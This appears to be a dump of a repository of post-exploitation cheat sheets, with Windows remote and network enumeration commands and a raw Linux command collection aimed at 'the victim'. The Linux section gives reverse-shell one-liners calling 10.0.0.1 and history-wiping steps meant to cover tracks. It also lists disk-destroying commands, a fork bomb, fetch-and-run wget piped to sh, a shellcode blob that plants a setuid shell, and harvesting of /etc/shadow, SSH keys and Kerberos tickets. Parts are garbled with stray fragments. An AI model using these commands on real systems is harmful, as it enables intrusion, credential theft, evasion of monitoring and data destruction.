64 | - https://github.com/jackpal/Android-Terminal-Emulator/wiki/Android-Shell-Command-Reference
65 | - https://docs.google.com/document/d/1XaCCyAf46_gQYUIWHyRSCQue6d-TzJmKOZ1z1cpl1sI/edit
66 | - https://android.stackexchange.com/questions/11052/what-useful-android-shell-commands-do-you-know
67 | - https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/payload/android/meterpreter/reverse_tcp.md
68 | - https://null-byte.wonderhowto.com/how-to/hack-android-using-kali-remotely-0160161/
69 | - http://ddosdipdye.weebly.com/blog/big-android-hacking-article
70 | - http://www.hackingarticles.in/hack-call-logs-sms-camera-remote-android-phone-using-metasploit/
71 | - https://android.stackexchange.com/questions/60906/terminal-on-real-android-device-from-pc
72 | - https://github.com/n1nj4sec/pupy
73 | - https://github.com/Screetsec/TheFatRat
74 | - https://github.com/ajinabraham/Xenotix-APK-Reverser
75 | - https://www.owasp.org/index.php/Android_Testing_Cheat_Sheet
76 | - http://www.dynamorio.org
77 |
--------------------------------------------------------------------------------
/windows/remote.md:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 | # Windows Remote Access Commands
13 |
14 | Commands that move data and files between systems on a network and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15 |
16 | ## Miscellaneous
17 | ### dir
18 | * **Command with arguments**: `dir \\[computername|ip]\share`
19 | * **Description**: **Must have token to the remote system.** See `net use` below to establish such a connection. Displays the contents of the remote computer's share.
20 | * **Output**:
21 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>dir \\192.168.10.34\c$
22 | Volume in drive \\192.168.10.34\c$ has no label.
23 | Volume Serial Number is 1A09-5F16
24 | Directory of \\192.168.10.34\c$
25 | 09/18/2006 05:43 PM 24 autoexec.bat
26 | 09/18/2006 05:43 PM 10 config.sys
27 | 01/19/2008 05:40 AM PerfLogs
28 | 10/08/2013 07:36 PM Program Files
29 | 10/23/2013 08:20 PM temp
30 | 10/10/2013 08:59 PM Users
31 | 10/23/2013 08:38 PM Windows
32 | 2 File(s) 34 bytes
33 | 5 Dir(s) 33,316,192,256 bytes free
34 |
35 | ### qprocess
36 | * **Command with arguments**: `qprocess * [/SERVER:computername]`
37 | * **Description**: Shows information about processes locally or remotely if you provide the computername or IP.
38 | * **Output**:
39 | *
67 |
68 | ### qwinsta
69 | * **Command with arguments**: `qwinsta [/SERVER:computername]`
70 | * **Description**: Shows information about Remote Desktop Sessions locally or remotely if you provide the computername or IP.
71 | * **Output**:
72 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>qwinsta SESSIONNAME USERNAME ID STATE TYPE DEVICE services 0 Disc >console johndoe 1 Active rdp-tcp 65536 Listen
73 |
74 | ### Remote Assistance Enable
75 | * **Command with arguments**: `reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f`
76 | * **Description**: **Must be admin to run this.** Enable remote assistance through adding a registry entry on the local system.
77 | * **Output**:
78 | *
87 |
88 | ### tasklist
89 | * **Command with arguments**: `tasklist /v /s [computername|IP]`
90 | * **Description**: Retrieve the current running processes from the remote system. [Microsoft manual](http://technet.microsoft.com/en-us/library/bb491010.aspx).
91 | * **Output**:
92 | *
**Windows 2008:** Show/Hide
C:\Windows\system32>tasklist /V /S 192.168.10.34 Type the password for WIN-V32NJ7H3AQE\johndoe:************************
Image Name PID Session Name Session# Mem Usage User Name CPU Time ========================= ======== ================ =========== ============ ================================================== ============ System Idle Process 0 0 24 K N/A 4:01:47 System 4 0 2,244 K N/A 0:00:13 smss.exe 388 0 696 K NT AUTHORITY\SYSTEM 0:00:00 csrss.exe 452 0 4,992 K NT AUTHORITY\SYSTEM 0:00:01 csrss.exe 492 1 10,800 K NT AUTHORITY\SYSTEM 0:00:17 wininit.exe 500 0 3,740 K NT AUTHORITY\SYSTEM 0:00:00 winlogon.exe 532 1 4,244 K NT AUTHORITY\SYSTEM 0:00:00 services.exe 580 0 7,308 K NT AUTHORITY\SYSTEM 0:00:03 lsass.exe 592 0 36,968 K NT AUTHORITY\SYSTEM 0:00:06 lsm.exe 600 0 5,128 K NT AUTHORITY\SYSTEM 0:00:00 svchost.exe 840 0 6,576 K NT AUTHORITY\SYSTEM 0:00:02 svchost.exe 908 0 6,652 K NT AUTHORITY\NETWORK SERVICE 0:00:00 svchost.exe 984 0 7,976 K NT AUTHORITY\LOCAL SERVICE 0:00:02 svchost.exe 1036 0 7,992 K NT AUTHORITY\SYSTEM 0:00:00 svchost.exe 1056 0 26,740 K NT AUTHORITY\SYSTEM 0:00:08 SLsvc.exe 1072 0 11,280 K NT AUTHORITY\NETWORK SERVICE 0:00:12 svchost.exe 1124 0 9,720 K NT AUTHORITY\LOCAL SERVICE 0:00:01 svchost.exe 1184 0 8,888 K NT AUTHORITY\SYSTEM 0:00:01 svchost.exe 1208 0 15,332 K NT AUTHORITY\NETWORK SERVICE 0:00:01 svchost.exe 1368 0 10,140 K NT AUTHORITY\LOCAL SERVICE 0:00:00 taskeng.exe 1572 0 7,024 K NT AUTHORITY\SYSTEM 0:00:00 spoolsv.exe 1680 0 9,892 K NT AUTHORITY\SYSTEM 0:00:00 dfsrs.exe 1732 0 8,608 K NT AUTHORITY\SYSTEM 0:00:00 dns.exe 1756 0 39,456 K NT AUTHORITY\SYSTEM 0:00:00
93 | ----
94 |
95 | ## net
96 | ### net time
97 | * **Command with arguments**: `net time \\[computername|ip]`
98 | * **Description**: Display the time from the remote system.
99 | * **Output**:
100 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>net time \\192.168.10.34
101 | Current time at \\192.168.10.34 is 10/23/2013 9:03:04 PM
102 | The command completed successfully.
103 |
104 | ### net use
105 | * **Command with arguments**: `net use \\[computername|ip] [/user:DOMAIN\USERNAME] [password] `
106 | * **Description**: Create a connection to the remote computer. This maps IPC$ which does not show up as a drive but allows you to access the remote system as the current user. If the user you launch the command as is not valid on the remote system you will need to specify a valid DOMAIN\USER and PASSWORD. This is useful when you have credentials from somewhere and wish to use them but do not have an active token on a machine you have a session on.
107 | * **Output**:
108 | *
**Windows 2008:** Show/Hide
C:\Users\johndoe>net use \\192.168.10.34 /user:lab\johndoe
109 | The password or user name is invalid for \\192.168.10.34.
110 | Enter the password for 'lab\johndoe' to connect to '192.168.10.34':
111 | The command completed successfully.
112 |
--------------------------------------------------------------------------------
/linux/bulk.md:
--------------------------------------------------------------------------------
1 |
2 | # Linux Google Doc Content #
3 |
4 | The content below is the raw data from the Google Doc that was first used to collect it. Over time, this content will be moved into sub-pages and organized but is placed here, now, so as to be more complete. We apologize for its appearance.
5 |
6 | ----
7 |
8 | ## System
9 | | Command | Description / Importance |
10 | | ------- | ------------------------ |
11 | | `uname -a` | Prints the kernel version, arch, sometimes distro, ... |
12 | | `ps aux` | List all running processes |
13 | | `top -n 1 -d` | Print process, 1 is a number of lines |
14 | | `id` | Your current username, groups |
15 | | `arch, uname -m` | Kernel processor architecture |
16 | | `w` | who is connected, uptime and load avg |
17 | | `who -a` | uptime, runlevel, tty, proceses etc. |
18 | | `gcc -v` | Returns the version of GCC. |
19 | | `mysql --version` | Returns the version of MySQL. |
20 | | `perl -v` | Returns the version of Perl. |
21 | | `ruby -v` | Returns the version of Ruby. |
22 | | `python --version` | Returns the version of Python. |
23 | | `df -k` | mounted fs, size, % use, dev and mount point |
24 | | `mount` | mounted fs |
25 | | `last -a` | Last users logged on |
26 | | `lastcomm` | |
27 | | `lastlog` | |
28 | | `lastlogin (BSD)` | |
29 | | `getenforce` | Get the status of SELinux (Enforcing, Permissive or Disabled) |
30 | | `dmesg` | Informations from the last system boot |
31 | | `lspci` | prints all PCI buses and devices |
32 | | `lsusb` | prints all USB buses and devices/h |
33 | | `lscpu` | prints CPU information |
34 | | `lshw` | |
35 | | `ex` | |
36 | | `cat /proc/cpuinfo` | |
37 | | `cat /proc/meminfo` | |
38 | | `du -h --max-depth=1 /` | (note: can cause heavy disk i/o) |
39 | | `which nmap` | locate a command (ie nmap or nc) |
40 | | `locate bin/nmap` | |
41 | | `locate bin/nc` | |
42 | | `jps -l` | |
43 | | `java -version` | Returns the version of Java. |
44 |
45 |
46 |
47 | ## Networking
48 | hostname -f
49 | ip addr show
50 | ip ro show
51 | ifconfig -a
52 | route -n
53 | cat /etc/network/interfaces
54 | iptables -L -n -v
55 | iptables -t nat -L -n -v
56 | ip6tables -L -n -v
57 | iptables-save
58 | netstat -anop
59 | netstat -r
60 | netstat -nltupw (root with raw sockets)
61 | arp -a
62 | lsof -nPi
63 | to resume it ? "cat /proc/net/*" (more discreet)
64 | what does the above mean? -> It means that all the information given by the above commands can be found by looking into the files under /proc/net , and that this approach is less likely to trigger monitoring or other stuff.
65 | User accounts
66 | local accounts: cat /etc/passwd
67 | password hashes in /etc/shadow on Linux
68 | password hashes in /etc/security/passwd on AIX
69 | groups in /etc/group (and/or /etc/gshadow on Linux)
70 | all accounts: getent passwd
71 | should dump local, LDAP, NIS, whatever the system is using
72 | same with getent group
73 | Samba's own database: pdbedit -L -w or pdbedit -L -v
74 | privileged accounts: cat
75 | (above: cat ???)
76 | mail aliases: cat /etc/aliases find /etc -name aliases, getent aliases
77 | NIS accounts: ypcat passwd - displays NIS password file
78 |
79 | Credentials
80 | SSH keys, often passwordless: /home/*/.ssh/id*
81 | SSH agent:
82 |
83 | Kerberos tickets: /tmp/krb5cc_*, /tmp/krb5.keytab
84 | PGP keys: /home/*/.gnupg/secring.gpgs
85 |
86 | Configs
87 | ls -aRl /etc/ | awk '$1 ~ /w.$/' | grep -v lrwx 2>/dev/nullte
88 | cat /etc/issue{,.net}
89 | cat /etc/master.passwd
90 | cat /etc/group
91 | cat /etc/hosts
92 | cat /etc/crontab
93 | cat /etc/sysctl.conf
94 | for user in $(cut -f1 -d: /etc/passwd); do echo $user; crontab -u $user -l; done # (Lists all crons)
95 | cat /etc/resolv.conf
96 | cat /etc/syslog.conf
97 | cat /etc/chttp.conf
98 | cat /etc/lighttpd.conf
99 | cat /etc/cups/cupsd.confcda
100 | cat /etc/inetd.conf
101 | cat /opt/lampp/etc/httpd.conf
102 | cat /etc/samba/smb.conf
103 | cat /etc/openldap/ldap.conf
104 | cat /etc/ldap/ldap.conf
105 | cat /etc/exports
106 | cat /etc/auto.master
107 | cat /etc/auto_master
108 | cat /etc/fstab
109 | find /etc/sysconfig/ -type f -exec cat {} \;
110 |
111 | Determine Distro
112 | lsb_release -d # Generic command for all LSB distros
113 | /etc/os-release # Generic for distros using "systemd"
114 | /etc/issue # Generic but often modified
115 | cat /etc/*release
116 | /etc/SUSE-release # Novell SUSE
117 | /etc/redhat-release, /etc/redhat_version # Red Hat
118 | /etc/fedora-release # Fedora
119 | /etc/slackware-release, /etc/slackware-version # Slackware
120 | /etc/debian_release, /etc/debian_version # Debian
121 | /etc/mandrake-release # Mandrake
122 | /etc/sun-release # Sun JDS
123 | /etc/release # Solaris/Sparc
124 | /etc/gentoo-release # Gentoo
125 | /etc/arch-release # Arch Linux (file will be empty)
126 | arch # OpenBSD; sample: "OpenBSD.amd64"
127 | uname -a # often hints at it pretty well
128 |
129 | Installed Packages
130 | rpm -qa --last | head
131 | yum list | grep installed
132 | Debian: dpkg -l
133 | dpkg -l | grep -i "linux-image"
134 | dpkg --get-selections
135 | {Free,Net}BSD: pkg_info
136 | Solaris: pkginfo
137 | Gentoo: # equery must be installed
138 | cd /var/db/pkg/ && ls -d */* # always works
139 | Arch Linux: pacman -Q
140 |
141 | Package Sources
142 | cat /etc/apt/sources.list
143 | ls -l /etc/yum.repos.d/
144 | cat /etc/yum.conf
145 |
146 | Finding Important Files
147 | ls -dlR */ #
148 | ls -alR | grep ^d
149 | find /var -type d
150 | ls -dl `find /var -type d`
151 | ls -dl `find /var -type d` | grep -v root
152 | find /var ! -user root -type d -ls
153 | find /var/log -type f -exec ls -la {} \;
154 | find / -perm -4000 (find all suid files)
155 | ls -alhtr /mnt
156 | ls -alhtr /media
157 | ls -alhtr /tmp
158 | ls -alhtr /home
159 | cd /home/; treels /home/*/.ssh/*
160 | find /home -type f -iname '.*history'
161 | ls -lart /etc/rc.d/
162 | locate tar | grep [.]tar$ # Remember to updatedb before running locate
163 | locate tgz | grep [.]tgz$
164 | locate sql | grep [.]sql$
165 | locate settings | grep [.]php$
166 | locate config.inc | grep [.]php$
167 | ls /home/*/id*
168 | .properties | grep [.]properties # java config files
169 | locate .xml | grep [.]xml # java/.net config files
170 | find /sbin /usr/sbin /opt /lib `echo $PATH | 'sed s/:/ /g'` -perm /6000 -ls # find suids
171 | locate rhosts
172 | Covering Your Tracks
173 | Avoiding history filesmys
174 | export HISTFILE=
175 | or
176 | unset HISTFILE
177 | This next one might not be a good idea, because a lot of folks know to check for tampering with this file, and will be suspicious if they find out:
178 |
179 | However if you happen to be on an account that was originally inaccessible, if the .bash_history file is available (ls -a ~), viewcating its contents can provide you with a good deal of information about the system and its most recent updates/changes.
180 | clear all history in ram
181 | history -c
182 | rm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)
183 | touch ~/.bash_history (invasive)
184 | history -c (using a space before a command)
185 | zsh% unset HISTFILE HISTSIZE
186 | tcsh% set history=0
187 | bash$ set +o history
188 | ksh$ unset HISTFILE
189 | find / -type f -exec {} (forensics nightmare)
190 |
191 | Note that you're probably better off modifying or temporary disabling rather than deleting history files, it leaves a lot less traces and is less suspect.
192 |
193 | In some cases HISTFILE and HISTFILESIZE are made read-only; get around this by explicitly clearing history (history -c) or by kill -9 $$'ing the shell. Sometimes the shell can be configured to run 'history -w' after every command; get around this by overriding 'history' with a no-op shell function. None of this will help if the shell is configured to log everything to syslog, however.
194 | Obtain users' information
195 | ls -alh /home/*/
196 | ls -alh /home/*/.ssh/
197 | cat /home/*/.ssh/authorized_keys
198 | cat /home/*/.ssh/known_hosts
199 | cat /home/*/.*hist* # you can learn a lot from this
200 | find /home/*/.vnc /home/*/.subversion -type f
201 | grep ^ssh /home/*/.*hist*
202 | grep ^telnet `/home/*/.*hist*
203 | grep ^mysql /home/*/.*hist*
204 | cat /home/*/.viminfo
205 | sudo -l # if sudoers is not. readable, this sometimes works per user
206 | crontab -l
207 | cat /home/*/.mysql_history
208 |
209 | Escalating
210 | Looking for possible opened paths
211 | ls -alh /root/
212 | sudo -l
213 | cat /etc/sudoers
214 | cat /etc/shadow
215 | cat /etc/master.passwd # OpenBSD
216 | cat /var/spool/cron/crontabs/* | cat /var/spool/cron/*
217 | lsof -nPi
218 | ls /home/*/.ssh/*
219 |
220 | Maintaining control
221 | Reverse Shell
222 | Starting list sourced from: http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
223 | bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 (No /dev/tcp on older Debians, but use nc, socat, TCL, awk or any interpreter like Python, and so on.).
224 | perl -e 'use Socket; $i="10.0.0.1"; $p=1234; socket(S,PF_INET, SOCK_STREAM, getprotobyname("tcp")); if(connect(S,sockaddr_in($p,inet_aton($i)))){ open(STDIN,">&S"); open(STDOUT,">&S"); open(STDERR,">&S"); exec("/bin/sh -i");};'
225 | python -c 'import socket,subprocess,os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);'
226 | php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
227 | ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i; exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' nc -e /bin/sh 10.0.0.1 1234 # note need -l on some versions, and many does NOT support -e anymore
228 | rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
229 | xterm -display 10.0.0.1:1se
230 | Listener- Xnest :1
231 | Add permission to connect- xhost +victimIP
232 | ssh -NR 3333:localhost:22 user@yourhost
233 | nc -e /bin/sh 10.0.0.1 1234
234 |
235 | Fun if Windows is present and accessible
236 | If there is Windows installed and the logged-in user access level includes those Windows partition, attacker can mount them up and do a much deeper information gathering, credential theft and root-ing. Ntfs-3g is useful for mounting ntfs partitions read-write.
237 | TODO: insert details on what to look for
238 |
239 | Stuff to be sorted
240 | ## GOING TO MOVE EVERYTHING HERE FOR LEGIBILITY ONCE EDITING DIES DOWN
241 |
242 | Command
243 | Output
244 | ps aux
245 | List of running processes
246 | id
247 | List current user and group along with user/group id
248 | w
249 | Show info about who is logged, what are they are doing
250 | who -a
251 | Print information about users
252 | cat /dev/core > /dev/audio
253 |
254 | cat /dev/mem > /dev/audio
255 | Makes a sound from the memory content.
256 | Usefulness of this??? (none, aside from pissing off the sysadmin, in the very unlikely case that the server has speakers and the legacy OSS driver)
257 | sudo -p
258 | allows the user to define what the password prompt will be
259 | (useful for fun customization with aliases or shell scripts)
260 | Deleting and Destroying
261 | (If it is necessary to leave the machine inaccessible or unusable)
262 | Note that this tends to be quite evident (as opposed to a simple exploitation that might go unnoticed for some time, even forever), and will most surely get you into troubles.
263 |
264 | Oh, and you're probably a jerk if you use any of the stuff below.
265 | Command
266 | Description
267 | rm -rf /
268 | This will recursively try to delete all files.
269 | char esp[] __attribute__ ((section(".text"))) /* e.s.p release */ = "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68?
270 | "\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99?
271 |
272 | "\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7?
273 | "\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56?
274 | "\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31?
275 | "\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69?
276 | "\x6e\x2f\x73\x68\x00\x2d\x63\x00?
277 | "cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;";
278 | Hex version of rm -rf /
279 | How is this supposed to work?
280 |
281 |
282 | mkfs.ext3 /dev/sda
283 | Reformat the device mentioned, making recovery of files hard.
284 | dd if=/dev/zero of=/dev/sda bs=1M
285 | Overwrite disk /dev/sda with zeros
286 | Execute a remote script
287 |
288 | wget http://server/file.sh -O- | sh
289 | This command forces the download of a file and immediately its execution, can be exploited easily using or reverse shit
290 | Fork Bomb
291 | :(){:|:&};:
292 |
293 |
294 | The [in]famous "fork bomb". This command will cause your system to run a large number of processes, until it "hangs". This can often lead to data loss (e.g. if the user brutally reboots, or the OOM killer kills a process with unsaved work). If left alone for enough time a system can eventually recover from a fork bomb.
295 |
296 |
297 | Stolen from: http://incolumitas.com/wp-content/uploads/2012/12/blackhats_view.pdf
298 | World
299 | writable
300 | directories
301 |
302 |
303 | Find word writable folders outside your home directory. It would be a tremendous success if we could write, say to /etc. So we could add configuration files and therefore pretty sure execute code as root, since many daemons read a specific number of primary and secondary configuration files, whereas the secondary ones are often not created yet. If the superusers home (/root) would be writable, we could create shell startup files that doesn't exist yet: .profile,
304 | .bash_profile, .bashrc...
305 | find / \( -wholename
306 | '/home/homedir/*' -prune \) -o \
307 | ( -type d -perm -0002 \) -exec
308 | ls -ld '{}' ';' 2>/dev/null
309 |
310 |
311 | World
312 | writable files
313 | What if /etc/passwd would be writable? Yeah, we just could add another root user and we would have won! Whereas the foregoing scenario is just too good to be
314 | true, it really makes sense to search for world writable files outside your own territory (= your home directory).
315 | find / \( -wholename
316 | '/home/homedir/*' -prune -o
317 | -wholename '/proc/*' -prune \)
318 | -o \( -type f -perm -0002 \)
319 | -exec ls -l '{}' ';' 2>/dev/null
320 | Logfiles
321 | Sometimes a security unaware administrator chmods a sensitive log file, because he couldn't view it and therefore leaks potentially sensitive data such as
322 | passwords or other important information.
323 | find /var/log -type f -perm
324 | -0004 2>/dev/null
325 | Setuid / setgid files
326 | We already examined fully why setuid and setgid files are worth to be double checked. Such a file owned by root and susceptible for attacks is a big weakness.
327 | find / \( -type f -or -type d \)
328 | -perm -6000 2>/dev/null
329 |
330 |
331 |
332 |
--------------------------------------------------------------------------------
/windows/windows_cmd_network.md:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 | # Windows CMD Network Commands
13 |
14 | The Windows commands below will help you gather information about the victim system's network connections, devices and capabilities and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15 |
16 | ## ipconfig
17 | ### Retrieve Local DNS Cache Info
18 | * **Command with arguments**: `ipconfig /displaydns`
19 | * **Description**: Displays the system's local DNS cache.
20 | * **Output**:
21 | *
C:\Users\johndoe>ipconfig /displaydns Windows IP Configuration
22 | 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa
23 | ---------------------------------------- Record Name . . . . . : 1.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.ip6.arpa.
24 | Record Type . . . . . : 12
25 | Time To Live . . . . : 86400
26 | Data Length . . . . . : 4
27 | Section . . . . . . . : Answer
28 | PTR Record . . . . . : localhost
29 | 1.0.0.127.in-addr.arpa
30 | ---------------------------------------- Record Name . . . . . : 1.0.0.127.in-addr.arpa.
31 | Record Type . . . . . : 12
32 | Time To Live . . . . : 86400
33 | Data Length . . . . . : 4
34 | Section . . . . . . . : Answer
35 | PTR Record . . . . . : localhost
36 | _ldap._tcp.default-first-site-name._sites.win-0p19ull2nb6.lab.sky.net
37 | ---------------------------------------- Name does not exist.
38 | _ldap._tcp.win-0p19ull2nb6.lab.sky.net
39 | ---------------------------------------- Name does not exist.
40 | localhost
41 | ---------------------------------------- Record Name . . . . . : localhost
42 | Record Type . . . . . : 1
43 | Time To Live . . . . : 86400
44 | Data Length . . . . . : 4
45 | Section . . . . . . . : Answer
46 | A (Host) Record . . . : 127.0.0.1
47 | localhost
48 | ---------------------------------------- Record Name . . . . . : localhost
49 | Record Type . . . . . : 28
50 | Time To Live . . . . : 86400
51 | Data Length . . . . . : 16
52 | Section . . . . . . . : Answer
53 | AAAA Record . . . . . : ::1
54 |
55 |
56 | ### Retrieve NIC Info
57 | * **Command with arguments**: `ipconfig /all`
58 | * **Description**: Displays the full information about the system's network interface cards (NICs).
59 | * **Output**:
60 | *
C:\Users\johndoe>wmic ntdomain list
110 | DomainGuid
111 | {CD5C2FE3-5AFE-459D-804E-A81B49066CAD}
112 | ----
113 |
114 | ## net
115 | For more information: http://technet.microsoft.com/en-us/library/bb490949.aspx
116 |
117 | ### Accounts
118 | * **Command with arguments**: `net accounts [/domain | /domain:OTHERDOMAINNAME]`
119 | * **Description**: Prints the password policy for the local system. Pass it the `/domain` option to query the domain for the domain password policy.
120 | * **Output**:
121 | *
C:\Users\johndoe>net accounts
122 | Force user logoff how long after time expires?: Never
123 | Minimum password age (days): 1
124 | Maximum password age (days): 42
125 | Minimum password length: 7
126 | Length of password history maintained: 24
127 | Lockout threshold: Never
128 | Lockout duration (minutes): 30
129 | Lockout observation window (minutes): 30
130 | Computer role: PRIMARY
131 | The command completed successfully.
132 |
133 | ### Group
134 | * **Command with arguments**: `net group "GROUPNAME" /domain`
135 | * **Description**: Prints the members of the Administrators local group. The /domain switch can show you the list of current domain admins.
136 |
137 | Note: This command can only be used on a Windows Domain Controller.
138 |
139 | * **Output**:
140 | *
C:\Users\johndoe>net group "domain admins"
141 | Group name Domain Admins
142 | Comment Designated administrators of the domain
143 | Members
144 | -------------------------------------------------------------------------------
145 | Administrator
146 | The command completed successfully.
147 |
148 | ### Local Group
149 | * **Command with arguments**: `net localgroup "GROUPNAME" [/domain]`
150 | * **Description**: Prints the members of the local group "GROUPNAME". The `/domain` switch can show you members of domain groups.
151 |
152 | Note: This command can only be used on a Windows Domain Controller.
153 |
154 | * **Output**:
155 | *
C:\Users\johndoe>net localgroup administrators
156 | Alias name administrators
157 | Comment Administrators have complete and unrestricted access to the computer/domain
158 | Members
159 | -------------------------------------------------------------------------------
160 | Administrator
161 | Domain Admins
162 | Enterprise Admins
163 | johndoe
164 | The command completed successfully.
165 |
166 | ### Queries SMB Hosts/Domain
167 | * **Command with arguments**: `net view [/domain | /domain:OTHERDOMAINNAME]`
168 | * **Description**: Queries NBNS/SMB (SAMBA) and tries to find all hosts in the system's current workgroup. Add the `/domain` option if the current system is joined to a domain. To query a different domain, use the `/domain:OTHERDOMAINNAME` option.
169 | * **Output**:
170 | * (Coming soon!)
171 |
172 | ### Session
173 | * **Command with arguments**: `net session`
174 | * **Description**: Displays information about all connections to the computer.
175 |
176 | Note: Needs to be launched within an administrative command shell.
177 |
178 | * **Output**:
179 | * (Coming soon!)
180 |
181 | ### Share
182 | * **Command with arguments**: `net share`
183 | * **Description**: Displays the system's currently shared SMB entries, and what path(s) they point to.
184 | * **Output**:
185 | *
193 |
194 | ### Users (List local/domain)
195 | * **Command with arguments**: `net user [/domain]`
196 | * **Description**: Lists the local users or, if the `/domain` option is passed, users on the computer's domain.
197 | * **Output**:
198 | *
C:\Users\johndoe>net user
199 | User accounts for \\WIN-0P19ULL2NB6
200 | ------------------------------------------------------------------------------- Administrator Guest johndoe krbtgt The command completed successfully.
201 |
202 | ### Users (Detailed User Information)
203 | * **Command with arguments**: `net user %USERNAME% [/domain]`
204 | * **Description**: Lists detailed information about the current local user or, if the `/domain` option is passed, the account on the computer's domain. If it is a local user then drop the `/domain`. Important things to note are login times, last time changed password, logon scripts, and group membership. You may wish to run this twice, once with and once without the `/domain` switch to find both local and domain accounts.
205 | * **Output**:
206 | *
C:\Users\johndoe>net user johndoe
207 | User name johndoe
208 | Full Name John Doe
209 | Comment
210 | User's comment
211 | Country code 000 (System Default)
212 | Account active Yes
213 | Account expires Never
214 | Password last set 10/10/2013 8:57:02 PM
215 | Password expires 11/21/2013 8:57:02 PM
216 | Password changeable 10/11/2013 8:57:02 PM
217 | Password required Yes
218 | User may change password Yes
219 | Workstations allowed All
220 | Logon script
221 | User profile
222 | Home directory
223 | Last logon 10/15/2013 6:53:42 PM
224 | Logon hours allowed All
225 | Local Group Memberships *Administrators *Users
226 | Global Group memberships *Domain Users
227 | The command completed successfully.
228 |
229 | ----
230 |
231 | ## netsh
232 | For more information: http://technet.microsoft.com/en-us/library/bb490939.aspx
233 |
234 | ### Network Services
235 | * **Command with arguments**: `netsh diag show all`
236 | * **Description**: Shows information on network services and adapters.
237 |
238 | Note: Windows XP only.
239 |
240 | * **Output**:
241 | * (Coming soon!)
242 |
243 | ### Wireless Backdoor Creation
244 | * **Command with arguments**:
245 | 1. `netsh wlan set hostednetwork mode=[allow\|disallow]`
246 | 1. `netsh wlan set hostednetwork ssid= key= keyUsage=persistent\|temporary`
247 | 1. `netsh wlan [start|stop] hostednetwork`
248 | * **Description**:
249 | 1. Enables or disables hostednetwork service.
250 | 1. Complete hosted network setup for creating a wireless backdoor.
251 | 1. Starts or stops a wireless backdoor. See below to set it up.
252 |
253 | Note: Windows 7 only.
254 |
255 | * **Output**:
256 | * (Coming soon!)
257 |
258 | ### Wireless Profile Viewing
259 | * **Command with arguments**: `netsh wlan show profiles`
260 | * **Description**: Shows all saved wireless profiles. You may then export the info for those profiles with the other netsh commands listed here.
261 | * **Output**:
262 | * (Coming soon!)
263 |
264 | ### Wireless Profile Exporting
265 | * **Command with arguments**: `netsh wlan export profile folder=. key=clear`
266 | * **Description**: Exports a user wifi profile with the password in plaintext to an XML file in the current working directory.
267 | * **Output**:
268 | * (Coming soon!)
269 |
270 | ----
271 | ## netstat
272 | For more information: http://technet.microsoft.com/en-us/library/bb490947.aspx
273 |
274 | ### Find Information about a specific Service
275 | * **Command with arguments**: `netstat -nabo | findstr /I (SERVICE|PROCESS|PORT)`
276 | * **Description**: If you are interested in finding out more information about a specific service, process or port this will provide greater depth of information. The `netstat -b` flag makes the command take longer but will output the process name using each of the connections.
277 |
278 | Note: Needs to be launched within an administrative command shell due to the `-b`.
279 |
280 | * **Output**:
281 | *
290 |
291 | ### Find Listeners
292 | * **Command with arguments**: `netstat -na | findstr :80`
293 | * **Description**: Find all listening ports and connections on port 80 (replace 80 with your target such as `445` or `3389`).
294 | * **Output**:
295 | *
298 |
299 | ### Find Listeners and Process IDs
300 | * **Command with arguments**: `netstat -nao | findstr /I listening`
301 | * **Description**: Find all listening ports and their associated PIDs (Process IDs). The `findstr /I` switch makes the search case insensitive. This could be important if you are looking for a buMPy service (example: `svchost` vs. `SVChost`) or don't know the case of it.
302 | * **Output**:
303 | *
333 |
334 | ### List Ports and Connections
335 | * **Command with arguments**: `netstat -nabo`
336 | * **Description**: Lists ports on and connections with the system with corresponding process (`-b`), without performing DNS lookup (`-n`), all connections (`-a`) and what is the owning process ID (`-o`). The `-b` switch is the switch in this command that requires elevated or admin privileges to execute. Omit it and you do not need to have an admin cmd shell.
337 |
338 | Note: Needs to be launched within an administrative command shell.
339 |
340 | * **Output**:
341 | *
--------------------------------------------------------------------------------
/windows/windows_cmd_config.md:
--------------------------------------------------------------------------------
1 |
2 |
11 |
12 | # Windows CMD Config Commands
13 |
14 | Commands that display information about the configuration of the victim and are usually executed from the context of the `cmd.exe` or `command.exe` prompt.
15 |
16 | ## Misc
17 | ### c:\windows\system32\gathernetworkinfo.vbs
18 | * **Command**: `c:\windows\system32\gathernetworkinfo.vbs`
19 | * **Command with arguments**: NA
20 | * **Description**: **Windows 7 Only** Script included gathers data about the system and stores output in files in the `c:\windows\system32\config` directory. External link [here.](http://www.verboon.info/index.php/2011/06/the-gathernetworkinfo-vbs-script/)
21 | * **Output**:
22 | * NA
23 |
24 | ### echo
